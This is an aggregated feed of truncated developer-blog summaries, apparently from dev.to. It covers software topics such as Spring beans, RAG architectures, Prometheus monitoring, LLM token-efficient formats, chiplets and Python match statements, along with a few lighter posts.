    CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” using Wicked’s big-screen comeback as an excuse to blaze down the yellow brick road and roast every musical misstep and wardrobe whoopsie of the ’78 classic. Spoiler alert: it’s surprisingly more entertaining than you remember. Want more sin? Hit up their Linktree for the latest videos, toss them a coin on Patreon, and junk-mail Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on Twitter. You can also join the chatter on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 19, 2025
    Sector HQ Weekly Digest - November 19, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 530124.7 | 343 events this week Anthropic - Score: 253535.7 | 51 events this week Google - Score: 158934.0 | 125 events this week Amazon - Score: 135271.9 | 22 events this week Microsoft - Score: 134009.8 | 99 events this week Nvidia - Score: 124577.5 | 161 events this week Meta - Score: 94628.0 | 61 events this week Apple - Score: 76821.9 | 94 events this week Perplexity - Score: 47342.6 | 3 events this week DeepMind - Score: 41453.5 | 8 events this week ↑ Sony jumped 277 positions to #68 ↑ Stability AI jumped 183 positions to #76 ↑ Bytedance jumped 143 positions to #52 ↑ Scale AI jumped 122 positions to #43 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Introducing Domenico Tenace Open Labs: A New Home for Open Source Innovation 🚀
    Overview Hello everyone 👋 Today I'm excited to share something I've been working on that's pretty close to my heart: Domenico Tenace Open Labs, my new GitHub organization dedicated to open source projects. If you're wondering why I decided to create this, well, it's simple: I wanted a centralized space where all my open source work could live, breathe, and grow with the help of the community. No more scattered repos, no more confusion about where to find what. Just a clean, organized digital lab where developers can explore, use, contribute, and learn together. Let's start! 🤙 You might be asking yourself: "Why not just keep everything in your personal GitHub account?" Fair question! Here's the thing: as my projects started to grow, I realized they needed a proper home. An organization …  ( 9 min )
    Trusting AI Models With TEEs - Private, Decentralized, Verified Part 2
    In the first part, I referenced DeAI and how Oasis suggests a combination of RONL (runtime on-chain logic, Sapphire confidential EVM) and ROFL (runtime off-chain logic, framework) components, with SGX and TDX TEEs, pave the groundwork for trustworthy AI models. Here, I will show fine-tuning of an LLM in Oasis TEE and publishing provenance information on-chain. Fine-tuning an LLM in a TEE In this experiment, we will try to integrate a GPU-enabled TEE with Oasis. We will use fine-tuning for a sample machine learning (ML) task where we will teach a new fact to an existing foundation model. This ML task is set up using a server with AMD SEV-SNP and an NVIDIA H100 to run a confidential VM in accordance with NVIDIA’s deployment guide. The confidential VM shares an initialization script with th…  ( 8 min )
    [Boost]
    🔍 difit: Preview GitHub-like diffs locally before you push Yuji Ueki ・ Jul 18 #git #cli #productivity #devtools  ( 6 min )
    How I Designed a Modular, Event-Driven Architecture for Real-Time Voice AI
    Most voice AI systems today are built as a fixed chain: STT → LLM → TTS → Audio Output. This works for demos, but falls apart the moment you need: Custom business logic CRM integrations Multi-agent routing Knowledge lookups Scheduling flows Post-call actions Pipeline branching Swappable providers (Claude vs GPT, Deepgram vs Whisper, etc.) So for EchoStack, I scrapped the idea of a “voice bot pipeline” entirely and built a voice automation platform powered by an event-driven orchestration layer. Here’s how the architecture works — and why it has completely changed what’s possible with real-time AI. Not STT. Just pure audio transport: User Mic → LiveKit → EchoStack EchoStack → LiveKit → User Speaker Inside EchoStack, every audio frame becomes an event: processing.livekit.audio_frame This…  ( 8 min )
    🧠 What 7 Years in .NET Development Taught Me About Software Craftsmanship
    After a decade of building systems in .NET from small internal tools to large-scale enterprise platforms. I’ve learned that great software isn’t just about code. It’s about craftsmanship. Here are 10 lessons that stuck with me 👇 1️⃣ Clean code always wins long-term. Quick fixes impress today, but clarity impresses for years. 2️⃣ Patterns are tools, not rules. Don’t force CQRS, DDD, or Clean Architecture unless they solve your actual problem. 3️⃣ Tests are your safety net. Nothing feels better than refactoring confidently because your tests have your back. 4️⃣ Readability > Cleverness. Future-you (and your teammates) will thank you. 5️⃣ Don’t optimize prematurely. Measure first, then act. Performance tuning starts with data, not assumptions. 6️⃣ Understand business logic deeply. The best developers write code that solves the right problem, not just the technical one. 7️⃣ Refactoring is a continuous process. Not a one-time event after the sprint ends. 8️⃣ Learn beyond .NET. Architecture, DevOps, design, and communication matter as much as C#. 9️⃣ Mentorship amplifies your impact. Teaching others sharpens your own skills — and lifts the team. 🔟 Humility keeps you growing. The moment you think you’ve mastered it all, you stop learning. After 7 years, I’ve realized: “Being a Senior developer isn’t about knowing everything — it’s about knowing what truly matters.” 💬 What’s one lesson you learned in your software journey?  ( 7 min )
    How to Create High-Performance 3D Product Viewers Using Three.js + React for Modern eCommerce Stores
    Hi, I am a technology consultant at a leading software, web, mobile and eCommerce development company based in India and the USA. Last week, one of our clients requested a 3D product viewer for their eCommerce store, and our developers wanted to explore more about how to build fast 3D product viewers using React and Three.js. So we created detailed content to help both developers and merchants understand how 3D viewers work and how they can boost conversions in modern eCommerce stores. Let’s begin! 3D product experiences are no longer “future emerging tech”; they are now driving real conversions for online eCommerce stores. With Three.js, React, and lightweight 3D model formats like GLTF/GLB, developers can build immersive product viewers that help customers understand products better, red…  ( 8 min )
    🔐 Control a Solenoid Lock with Arduino Mega (Using a Relay & Push Button)
    Introduction Welcome back, makers! 👋 In this project, you’ll learn how to lock and unlock a solenoid lock using: 1. Arduino Mega 2. A relay module 3. 12V power supply 4. Simple push button Breadboard Jumper wires(male to male and male to female) By the end, you’ll push a button → the solenoid will pull → the lock will OPEN. Push the button again → the solenoid releases → the lock goes back to LOCKED. Let’s dive in! Component Image Description Arduino Mega Microcontroller to read button and control relay 12V Solenoid Lock The physical locking mechanism Relay Module (5V Control) Acts as a switch to send 12V to the solenoid 12V Power Adapter Powers the solenoid and Arduino Push Button Triggers lock/unlock Breadboard & Jumper Wires For easy wiring Here’s the wiring…  ( 8 min )
    The New Analytics Stack: Data Views Tools Agents
    The New Analytics Stack: Data → Views → Tools → Agents The modern analytics stack has quietly gone through a massive shift. It's no longer about dashboards—in fact, it's barely about interfaces anymore. We're moving into a world where "chatting with your data" becomes the primary way teams get answers. Dashboards were built for a different era: Static views: Dashboards show what someone decided was important when they built it. They don't adapt to new questions or changing priorities. Predefined slices: You can only see data the way the dashboard designer structured it. Want to see it differently? Build a new dashboard. Horizontal summaries: Dashboards show high-level metrics across many dimensions, but they can't go deep. They show you that revenue is up 20%, but not why. Useful, sure—b…  ( 16 min )
    Spring's Core Concepts: Bean, Container, and Context Explained
    Hi Everyone , I am new to learning Spring Framework and have started to write about the topics I am learning , sharing them here about the same. Spring Bean If you're diving into the Spring Framework, you've probably encountered terms like Spring Bean, Spring Container, and ApplicationContext. These concepts are the foundation of what makes Spring so powerful and flexible. Think of them as the essential building blocks for your modern Java application. 🧱 What is a Spring Bean? POJO with a twist: A bean is essentially a Plain Old Java Object (POJO) that Spring manages. Managed Lifecycle: Spring controls the entire lifecycle of a bean, from its creation and initialization to the injection of its dependencies and eventual destruction. Definition: You tell Spring which classes should become b…  ( 7 min )
    How not to disappear from the office one minute before closing time
    Practical survival strategies for the modern office ecosystem. There’s a magical moment in every office: exactly 4:58 PM. Leave too early, and people notice. Here’s how to master the balance: 3:45 PM — Slowly close a browser tab. Preferably the one with a recipe for lasagna. 4:30 PM — Take a deep, purposeful sigh, as if you’re solving the world’s problems. 4:58 PM — Open an Excel sheet. Stare at it like it’s the night sky. 5:00:01 PM — Stand up gracefully, as if someone gently unplugged you. 5:01 PM — Walk out calmly, like someone who always finishes on time. Even if that’s a small fib. Do it right, and no one will notice the last 40 minutes you were mentally already on the couch. There’s an unspoken theory: if a team member sits quietly and never complains, they must be availab…  ( 7 min )
    TypeScript vs. JavaScript: Which One Should You Use in 2025?
    The age-old debate – What’s better for development: JavaScript or TypeScript? Okay, maybe it isn’t an age-old conundrum, but it does make several developers scratch their heads before beginning a web development undertaking. Before we dive into these languages (or offshoots of the same language) and discuss their differences as well as which one we believe you should use in your next project, let’s have a look at exploring what they are if you are new to them. JavaScript is an interpreted programming language that allows us to build amazing features on web pages – at least that’s how it would have been defined a couple of years ago – but JavaScript no longer refers to the programming language that simply aids HTML and CSS in building fabulous websites by controlling the behavior of fea…  ( 17 min )
    The Missing Layer Between Data and AI Agents
    Structured Endpoints: The Missing Layer Between Data and AI Agents APIs are too rigid, databases are too risky. We believe structured endpoints—governed views that agents can query safely—are the missing piece that makes AI agents actually work in production. Every time I talk to teams building AI agents, they hit the same wall: how do you give agents access to data? Option 1: Direct database access. Fast, flexible, powerful. Also: security nightmare, governance impossible, performance unpredictable. Agents can query anything, see everything, and bring down your database with a single bad query. Option 2: APIs. Secure, controlled, documented. Also: rigid, limited, slow. APIs expose predefined endpoints with fixed schemas. Agents can only do what the API designer thought of. New questions…  ( 17 min )
    Stop Wasting LLM Tokens: Introducing CTON (Compact Token-Oriented Notation)
    If you are building applications with Large Language Models (LLMs), you are likely familiar with the "Token Tax." Every character you send to an API like OpenAI or Anthropic costs money and eats into your context window. We’ve spent decades treating JSON as the gold standard for data serialization, and for good reason—it's readable and ubiquitous. But JSON is chatty. It loves whitespace, it demands quotes around every key, and it uses heavy punctuation ({, }, [, ]) that adds up quickly when you are sending thousands of records in a prompt. Enter CTON (Compact Token-Oriented Notation). CTON is an aggressively minified, shape-preserving data format designed specifically for LLM interactions. It strips away the syntactic sugar humans like (indentation, excessive quoting) but keeps the structu…  ( 8 min )
    My views dropped like a bag of bricks the last 2 - 3 weeks
    The Best AI Articles Dev.to Won’t Show You Isaac Hagoel ・ Nov 18  ( 6 min )
    The Secret Life of Python: MRO Secrets - The Diamond Problem Solved
    Timothy stared at his screen in disbelief. "Margaret, I don't understand what's happening. I have a simple inheritance hierarchy - a LoggingMixin and a ValidationMixin that both inherit from BaseMixin, and my User class inherits from both. But when I call super().__init__(), methods are being called in a completely bizarre order. Sometimes the same method gets called twice, sometimes it skips methods entirely. What is going on?" He showed her his code: class BaseMixin: def __init__(self): print("BaseMixin.__init__") super().__init__() class LoggingMixin(BaseMixin): def __init__(self): print("LoggingMixin.__init__") super().__init__() class ValidationMixin(BaseMixin): def __init__(self): print("ValidationMixin.__init__") super().…  ( 27 min )
    Neural Networks as a Catalyst for the Evolution of Online Learning
    In today’s rapidly evolving digital landscape, neural networks are reshaping nearly every industry they touch—and education is no exception. Imagine having an intelligent, always-available assistant that guides you through your learning journey with ease. This vision is becoming reality thanks to large language models (LLMs), widely adopted in education under the term LLM4EDU. These advanced systems are transforming how we teach, learn, and understand student progress in ways that once seemed impossible. How LLM4EDU Is Reshaping Learning Neural network–driven tools are already making a significant impact across many educational activities: Virtual Experiments: Students can perform science experiments in safe, simulation-based environments with no logistical constraints. Exam Preparation: P…  ( 8 min )
    Engineering Apps to Scale (Without Breaking)
    Great apps don’t break because of traffic — they break because they were never engineered for it. There’s a moment every developer hits: Most apps run fine at 100 users. Scaling isn’t luck. Early success tricks you. Your API feels fast because only five people are testing it. The real question isn’t: That’s where real engineering begins. Scalable systems don’t emerge by accident. 1. Go Stateless Wherever Possible Stateless services scale horizontally with ease. 2. Cache Like Your Life Depends on It Good caching reduces 60–80% of load. Memory cache Local DB cache Network cache Server cache Offline-first is more than convenience — it’s resilience. 3. Optimize First-Contact Experiences The critical path determines whether users stay or bounce. App launch Login …  ( 7 min )
    JSON is Costing You Money: Enter TOON - the Format Built for LLMs
    If you are building with Large Language Models (LLMs), you are essentially a logistics manager. Your job is to ship information from your database to an AI’s brain and back again, as efficiently as possible. For years, we’ve defaulted to JSON because it is the lingua franca of the web. But have you ever looked at a 50-item JSON list inside a prompt window? It’s a sea of repetitive keys, curly braces, and wasted tokens. In the world of GenAI, context is currency. Every token you waste on syntax is a token you can't use for reasoning, history, or creativity. Enter TOON (Token-Oriented Object Notation). It’s not just "another standard". It is a purpose-built syntax designed to fix the specific headaches of communicating with AI. Today, let's pop the hood, look at some complex examples, and se…  ( 9 min )
    📌 How to build a context-first cloud collaboration model
    When I first started managing cloud projects, every workspace felt disconnected. But I learned quickly: without shared context, automation stalls, standards drift, and AI has nothing to reason from. The fundamentals don’t change. But here’s the reality. The challenge is fragmentation. The opportunity is convergence. A context-first cloud model isn’t just collaboration. Ps: lmk if you would like to check the GitHub repo that we created Check the video here 👉 https://www.youtube.com/watch?v=DRId14gyYnk  ( 6 min )
    How to Sync Anything: Building a Sync Engine from Scratch — Part 2
    Note: This is part of our series demystifying synchronisation. See our other instalments: How to Sync Anything: Introduction, How to Sync Anything: Building a Sync Engine from Scratch — Part 1 and How to Sync Anything: Building a Sync Engine from Scratch — Part 3 In this part, we will learn how to efficiently find out what data needs to be synchronised. Say we have a news app that runs on mobile devices and a server that publishes new stories. Blogs and RSS are good real-world examples. The scenario is this: our app starts for the first time and there are no stories available for the user to read on the device. So, the app asks the server to send the latest set of stories to the device. End result: our users get to read some stories. Later, when our apps starts for the second time, your ap…  ( 11 min )
    Cloud-Based Android Testing: Comparing Infrastructure Options for Development Teams
    The mobile app market is unforgiving. One critical bug on a Samsung device, a crash on Android 11, or a layout issue on a specific screen size can tank your app store ratings overnight. Yet, building and maintaining a comprehensive physical device testing lab has become increasingly impractical for most development teams. Consider the reality: Android runs on thousands of device models, across multiple OS versions, with varying screen sizes, processors, and memory configurations. A proper physical device lab to cover even basic testing scenarios could easily require 20-30 devices, costing thousands of dollars upfront, plus ongoing maintenance, updates, and replacement costs. This is why most development teams today are moving toward cloud-based Android testing infrastructure. But the lands…  ( 15 min )
    Welcome to Coderive 0.1.0: A More Powerful and Polished Experience
    The Coderive project is excited to announce the release of version 0.1.0, packed with updates that make the language more powerful and a joy to use. This release reflects valuable early feedback and our commitment to building a language that works for developers. The developer listened to your needs for a richer ecosystem, which is why he is introducing the Sys library and the builtin keyword, setting the stage for a growing standard library. To help teams write cleaner, more consistent code, Coderive now automatically enforces naming conventions, turning best practices into a built-in feature. The developer also invested heavily in the core engine. With refactored error handling and a more organized codebase, Coderive is not just more capable—it's also built to last. Your input is directly shaping Coderive's future. Dive into v0.1.0 and experience the difference. See the repo here.  ( 6 min )
    How to start a speech like a PRO
    How to Start a Speech like a PRO: 5.5 Tips to Grab Your Audience's Attention As a speaker, you have one job in the first 30 seconds of any speech, pitch, presentation, or meeting: make your audience sit up and listen. The truth is, they won't listen unless you make them, and it's not their job to give you their attention - it's yours to grab it. Unfortunately, the beginnings of most pitches, presentations, and speeches are as dull as dishwater, which is why audiences often find themselves checking their phones, reading emails, or chatting with the person next to them. The good news is that you don't have to do a lot to stand out and start your speech like a pro. In this article, we'll explore the major pitfalls to avoid and provide you with 5.5 top tips for killer intros that will have you…  ( 8 min )
    Amazon S3 Vectors: The Cost-Friendly Way to Store and Search AI Embeddings
    If you've been working with AI or machine learning recently, you've probably heard about vector databases like Pinecone, Qdrant, Milvus, and pgvector. Now, AWS has added its own option: Amazon S3 Vectors. So, is it just another AWS service, or something different? The honest answer: it's different. Neither strictly better nor worse, but unique in its own way. Let's explore what it is, when to use it, and when other solutions might be better. Traditional Amazon S3 is like a giant digital filing cabinet - it's cheap, reliable, and able to hold a vast amount of data. But it's built for storage, not for fast searching. Imagine you're building an AI-powered customer support system. You have millions of old tickets and want to find similar ones fast. Storage fees for embeddings, Query costs, Inf…  ( 8 min )
    I Made a File That's Also Another File (And Your Mind is About to Break) 🤯
    Remember when you were a kid and thought spies were the coolest thing ever? Yeah, me too. Fast forward to present day, and here I am, living my best spy-movie-developer life by building polyglot files into my steganography app. A polyglot file is basically the Inception of file formats. It's a file that works as two completely different formats at the same time. Like, imagine having a JPG image that you can open normally in any image viewer, BUT if you rename it to .zip and extract it, BAM! There's a secret PDF hidden inside. Leo DiCaprio would be proud. That's what I thought too! But then I learned about a beautiful quirk in how ZIP files work: ZIP files are read from the END, not the beginning. Let that sink in for a second. This means you can literally prepend ANY data to the front of…  ( 10 min )
    Analyzing LinkedIn Job Postings: Skill Extraction & Clustering
    Introduction In today’s fast-moving tech job market, understanding what skills are in demand is crucial. I recently worked on a project that automatically analyzes LinkedIn job postings, extracts the technical skills mentioned in each job description, and groups similar roles together. The goal is to help recruiters, job seekers, and data enthusiasts make sense of large volumes of unstructured job posting data. You can check out the project here: GitHub Repository The workflow has four main steps: Data Preparation The project starts by collecting job postings from LinkedIn and creating a manageable sample for analysis. It prepares the text by removing unnecessary clutter like links, punctuation, and irrelevant words. Skill Extraction Each job description is scanned for a list of te…  ( 7 min )
    WordPress 6.9 Is Sneaking In a Feature That’s Way More Useful Than It Sounds
    I’ve been playing with the WordPress 6.9 betas lately, mostly out of curiosity (and a bit of avoidance of actual work), and somehow the feature that stood out the most wasn’t any of the “big” ones. It was Notes. Yeah, Notes. Sounds tiny. Sounds boring. Sounds like something you scribble on a sticky note and lose under your keyboard. But inside the block editor, Notes actually feel like the missing mini-tool we’ve all been faking with comments, Slack screenshots, random emojis, “TODO” blocks, and whatever else we come up with when we need to leave instructions for clients or teammates. Instead of writing stuff like: “hey, reminder to change this later” “please don’t delete this, it breaks something, idk why” …you just drop a note right on the block, and anyone who edits the page later automatically sees it. No digging around. No mystery warnings. No shared doc nobody reads. The fun part is: Notes help both sides — site owners and devs. Clients can leave reminders for writers. Writers can nudge designers. Developers can leave quick “don’t touch this” messages without writing a massive Slack essay at midnight. If you’ve ever managed a WP site with multiple cooks in the kitchen, this is actually a pretty big quality-of-life upgrade. I wrote a small breakdown of the feature, including how to enable Notes for custom post types (easy, surprisingly). If you work with WordPress regularly, it’s worth a look. 👉 *A simple look at the new * Notes feature in WordPress 6.9 If you’ve tried Notes already, curious whether you think it’ll be actually useful long-term or become one of those features everyone forgets after week one.  ( 7 min )
    Serverless Workflow Engines: 40+ Tools Ranked by Latency, Cost, and Developer Experience
    Choosing the right workflow orchestration tool in 2025 feels like navigating a minefield. You've got Temporal with its $349.5M war chest promising bulletproof reliability, serverless upstarts like Inngest reimagining the entire paradigm, and database-native rebels like DBOS claiming 25x performance improvements. Meanwhile, your production system needs a decision yesterday. That is why I did some AI research for you and summarize best choices for you with pros-cons of each. (ofc this is written by AI but hallucination-safe context to help you to choose better!) I spent the last three weeks diving deep into this chaos. Using Gemini Deep Research and Perplexity's comprehensive search capabilities, I analyzed 40+ code-integrated workflow orchestration platforms—reading technical documentation,…  ( 37 min )
    KubeEdge and Edge Computing
    KubeEdge: Extending Kubernetes to the Edge for Robust and Scalable Edge Computing Introduction Edge computing is revolutionizing industries by bringing computation and data storage closer to the source of data, enabling faster processing, reduced latency, and optimized bandwidth usage. While cloud computing remains crucial for centralized services, the need to process data in real-time at the edge has become increasingly important for applications like IoT, autonomous vehicles, and industrial automation. However, managing a fleet of edge devices with varying capabilities and connectivity can be a significant challenge. This is where KubeEdge comes into play. KubeEdge is an open-source system that extends native containerized application orchestration capabilities to hosts at the edge. …  ( 9 min )
    React Component life cycle
    Just as life has different phases involved, i.e we are born, grow and later die, React components experience phases as well. The phases which react components undergo are mounting, updating and unmounting. Components interact with components to provide an interface for user interaction in web applications. However, a component – the building block of every UI we interact with – has a life cycle. Lets go through the phases briefly. This is the first phase in a react component. We can as well say it is the birth phase of a react component. In this phase, a component instance is created and inserted into the DOM.(Document Object Model). We have 4 methods in this phase listed below and in their order. constructor() static getDerivedStateFromProps() render() componentDidMount()  ( 6 min )
    How do I reduce hallucinations when pulling mixed data sources in an LLM-based chatbot?
    I’m building a production chatbot that uses an LLM + vector store + REST API calls. The issue is: whenever the API returns incomplete data or the vector search returns low similarity, the bot starts hallucinating answers. What’s the best practice to strictly force the bot to say “No data available” instead of generating something? Is this a prompt issue, retrieval design issue, or something related to scoring/similarity thresholds?I’m building a production chatbot that uses an LLM + vector store + REST API calls. The issue is: whenever the API returns incomplete data or the vector search returns low similarity, the bot starts hallucinating answers. What’s the best practice to strictly force the bot to say “No data available” instead of generating something? Is this a prompt issue, retrieval design issue, or something related to scoring/similarity thresholds?  ( 6 min )
    Prometheus Monitoring: Complete Setup & Best Practices
    Prometheus Prometheus is an open-source monitoring and alerting toolkit originally developed at SoundCloud in 2012 and now a Cloud Native Computing Foundation (CNCF) graduated project. It's specifically designed for reliability and scalability in dynamic cloud environments, making it the go-to solution for monitoring microservices, containers, and Kubernetes clusters. Time-Series Database: Prometheus stores all data as time-series, identified by metric names and key-value pairs (labels), enabling flexible and powerful querying capabilities. Pull-Based Model: Unlike traditional push-based systems, Prometheus actively scrapes metrics from configured targets at specified intervals, making it more reliable and easier to configure. PromQL Query Language: A powerful functional query language all…  ( 12 min )
    Advanced RAG: LongRAG, Self-RAG and GraphRAG Explained
    Retrieval-Augmented Generation (RAG) Modern RAG systems need to handle massive documents, understand complex entity relationships and much more. Traditional RAG systems follow a simple pattern: chunk documents, embed them into vectors, retrieve similar chunks via cosine similarity, and feed them to an LLM. While effective for many use cases, this approach struggles with three critical scenarios: Long-range dependencies: Important context might span thousands of tokens across multiple chunks Retrieval confidence: The system has no way to assess whether retrieved content is actually relevant Relationship complexity: Vector similarity cannot capture intricate connections between entities Advanced RAG variants address these limitations with specialized architectures tailored to specific chall…  ( 15 min )
    Narrative Alchemist
    Hello everyone! Like many of you here, I often face creative blocks and the "blank page" problem. That feeling when you have a vague image in your head but can't assemble it into a strong, well-thought-out story is probably familiar to everyone. After trying countless methods, I ended up creating a tool for myself that doesn't write for me, but helps me understand my own ideas. It works like a structured brainstorming session with myself. I called it "Narrative Alchemist". What's the core idea? This is not an AI text generator. It's a foundation generator for your story. The tool helps you: Overcome the emptiness of the blank page by offering hundreds of non-obvious ideas through genre hybrids and paradoxes. Think deeper about conflict — not just "hero vs villain," but a clash of differen…  ( 7 min )
    C# Guide: Build Dynamic Word Files with Rich Formatting and Data
    In the fast-paced world of software development, efficiency and automation are paramount. Developers often encounter scenarios where they need to generate structured documents, such as reports, invoices, contracts, or personalized letters, from dynamic data. Manually creating these documents is not only time-consuming but also prone to human error. This is where programmatic document generation becomes an invaluable skill. Imagine a system that can automatically pull data from a database, format it, and output a polished Word document with a click of a button. For C# developers, automating Word document creation opens up a realm of possibilities, from streamlining business processes to enhancing data visualization. This guide will walk you through a practical approach to programmatically c…  ( 10 min )
    When Cloudflare Went Down: The Day the Internet Remembered Cloud Isn’t Invincible
    Cloud outages feel a lot like sudden rain — you never know when it hits, and when it does, everyone runs for cover. In June 2024, Cloudflare, the backbone behind nearly 20% of global web traffic, went down. And just like that, platforms we rely on every day — ChatGPT, X, Spotify, Canva — all threw the dreaded: “500 Internal Server Error” It was the kind of digital storm that reminds us: even the strongest cloud isn’t unbreakable. When a network this big fails, the internet doesn’t bend — it buckles. Millions of API calls fail Streaming apps freeze SaaS dashboards stop loading Support centers get flooded Teams scramble to diagnose what they don’t control It’s a surreal moment where the entire world remembers: The cloud is powerful — but not invincible. While the internet was panic…  ( 7 min )
    Why We Need Chiplets: The Challenges Facing the Semiconductor Industry and How They Help
    The semiconductor industry is under growing pressure to deliver higher performance, lower power consumption, and reduced cost per transistor. However, as process technologies continue to shrink, the traditional monolithic SoC model is reaching both physical and economic limits. Larger dies are more expensive to produce and have lower yield, while not all functions scale efficiently at smaller geometries. The industry’s answer is chiplet-based design. Chiplets enable splitting complex systems into smaller, specialized dies that are easier to manufacture, optimize, and verify. They offer a practical path forward for innovation, cost control, and sustainable scaling. 1. Chiplets and the Semiconductor Industry Problems They Solve Figure 1: Comparison of monolithic SoC and chiplet-based archit…  ( 9 min )
    API Seamless Upgrade Solution: Architectural Evolution from Push Mode to Pull Mode
    Someone on Zhihu asked a question: How to achieve smooth upgrades for Java microservice API version compatibility? In microservice architecture, frequent service iterations lead to increasing differences in API versions, while the upgrade pace of clients (such as Apps, Web frontends) often lags behind. This frequently causes compatibility issues and can even lead to online failures. Common version control strategies, such as adding version numbers in the URL path (/v1/user) or using request headers to distinguish versions, although they can clearly differentiate between different versions, also bring the heavy cost of maintaining multiple versioned interfaces and increase the adaptation difficulty for clients. This article will analyze the root cause of this problem and introduce how the N…  ( 10 min )
    Neo and NBitcoin blockchain projects vs. static analyzer. Who wins?
    Blockchain development is a high-stakes game where code quality really matters. A single undetected bug can lead to major and sometimes irreversible financial losses. Should we really gamble on skipping a static analyzer check? Let's put it to the test by diving into the code of the Neo and NBitcoin projects. Since I brought up the unique nature of blockchain development, let's delve into what that specifically entails. First, many blockchain projects handle digital assets with real-world value: tokens, cryptocurrencies, NFTs, access rights, and others. A code error might not just cause a program malfunction but lead directly to users' financial losses. Second, fixing code in a blockchain project after release may be challenging. In decentralized networks, every node must agree to accept …  ( 13 min )
    Answer: React-PDF Slow Performance with large PDF, reneders unneccessarily.
    If, in 2025, anyone is facing the same issue with react-pdf causing excessive bundle size or initial page load lag, you can try the following approach. Instead of using React.lazy() (which is for JSX components), I'm using standard dynamic imports for the required functions and components. This ensures they are imported and processed only when the PDF button is clicked, not on every page render. This solves the performance and bundle size issues. const handleGeneratePdf = async () => { if (!ticket || !company) return; try { const { pdf } = await import("@react-pdf/renderer"); const { default: CertiPdf } = await import("../CertPdf"); // Generate PDF blob const blob = await pdf().toBlob(); // Create URL for viewing/printing const url = URL.createObjectURL(blob); setPdfUrl(url); } catch (error) { console.error("Error generating PDF:", error); } };  ( 6 min )
    Leaders – Wake Up and Smell the Coffee
    Exposing the undervaluation crisis The bid and proposal profession is in crisis. Not because it lacks expertise, but because it remains widely misunderstood. Too often, proposal professionals are treated as sales admin, sales support or “ambulance chasers” – scrambling to assemble last-minute bids with minimal strategic input. In reality, the bid and proposal function directly influence win rates, revenue growth, and competitive positioning. Yet, despite its impact, it rarely sits at the executive table. Why? Because too many leaders fail to recognize the role of proposal management in driving business success. Compelling leadership to take notice It’s time for executives to rethink where proposal teams fit. Sales teams chase opportunities, but the proposal function turns them into bankabl…  ( 7 min )
    When I Grow Up, I Want to Be a Bid Writer!
    The origins of procurement date to around 3,000 BC when Egyptians were scribing orders for the two million limestone and granite blocks needed to build the Great Pyramid. By the 15th century, the first printing presses were publishing the first rudimentary sales catalogues and price lists. The Continental Congress of 1775, commissioning military supplies in New Jersey, was the first recorded use of advertising to solicit proposals. Napoleon introduced the world’s first formal legal procurement framework. Then in 1980 Margaret Thatcher introduced compulsory competitive tendering across UK civil construction. In short, the practice of writing proposals to win contracts is hardly very new. Despite this history, proposal writing is perceived as a vocation still in its relative infancy. Compare…  ( 7 min )
    コスト削減と自由度アップ!商用ツールからオープンソースへの乗り換え15選
    はじめに 開発ツールの月額料金、気づいたら結構な金額になっていませんか?Postman、GitHub、Notion...便利なツールほど、チーム規模が大きくなると課金額も膨らんでいきます。 実は今、そんな商用ツールに匹敵する、いやそれ以上の機能を持つオープンソース代替が続々と登場しています。しかも、単なる「無料版」ではなく、データ管理の自由度やカスタマイズ性で商用製品を上回るケースも少なくありません。 この記事では、開発現場で実際に使える15の有名ツールと、その強力なオープンソース代替を厳選して紹介します。スタートアップで予算を抑えたい方も、エンタープライズでセキュリティ要件が厳しい方も、きっと参考になる情報が見つかるはずです。 Postmanの問題点:API開発の定番ツールですが、近年はリソース消費が増加し起動が遅くなっています。また、チーム機能やワークスペース共有などの重要機能は有料プランが必要で、予算に制約のあるチームには負担になることも。 Hoppscotch ブラウザベースで超軽量なAPI開発ツールです。モダンなUIと高速な応答性が特徴で、REST、GraphQL、WebSocketなど多様なAPIプロトコルをサポート。シンプルな機能だけを求める開発者には最適な選択肢です。オープンソースで、自社サーバーでのセルフホスティングも可能です。 Bruno ローカルファイルベースのAPIクライアントで、すべてのAPIコレクションをJSONファイルとして保存。Gitでのバージョン管理が容易なため、チーム間でのAPI設定共有がスムーズです。コード中心の開発者向けの思想が強く、CLIサポートも充実しています。完全オープンソースで、データプライバシーも確保できます。 Apicat API設計とドキュメント管理に特化した軽量オープンソースツールです。OpenAPI仕様の編…  ( 6 min )
    From localStorage to Database: Understanding the MongoDB Structure❗
    Intro Hey everyone!🤗 If you are a developer who is just starting to work with databases, or perhaps you already know the basics and are looking for a recap or a more in-deph understanding, I hope this article will help you. underlying logic to ensure everything is clear. That's why I have structured this article starting from the NoSQL fundamentals all the way to the internal data storage mechanisms, concentrating on the why behind the database. So, I wish you happy reading!🥰 In this article, we will study: Where we Started: The SQL World The NoSQL story: Not Only SQL From localStorage to Database Basic CRUD Operations: Create, Read, Update, Delete When we work with Relational Database like MySQL or PostgreSQL, our data lines up neatly in those perfectly organized tables. We have to ma…  ( 11 min )
    Python by Structure: Match Statements and Pattern Guards
    Timothy stared at a function that had grown into a monster of nested if/elif statements. "Margaret, this works, but it's getting hard to read. I'm checking the type, then the value, then special cases... is there a better way?" Margaret looked at his code: def process_command(cmd): if isinstance(cmd, dict): if "action" in cmd and cmd["action"] == "start": if "delay" in cmd and cmd["delay"] > 0: return schedule_start(cmd["delay"]) else: return start_now() elif "action" in cmd and cmd["action"] == "stop": return stop() elif isinstance(cmd, str): if cmd == "help": return show_help() elif cmd == "status": return get_status() return "Unknown command" "This is …  ( 10 min )
    Introduction to Swarm: Creating Custom Plugins
